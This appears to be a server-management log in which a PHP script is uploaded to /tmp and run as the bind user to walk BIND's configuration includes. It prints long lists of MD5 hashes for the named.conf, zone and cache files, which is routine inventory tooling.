MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:27:06: Establishing a connection
2026-04-25 20:27:06: 

PUT: /tmp/pkp698428

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:27:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp698428; rm /tmp/pkp698428'

2026-04-25 20:27:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:27:38: Establishing a connection
2026-04-25 20:27:38: 

PUT: /tmp/pkp615952

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:27:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp615952; rm /tmp/pkp615952'

2026-04-25 20:27:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
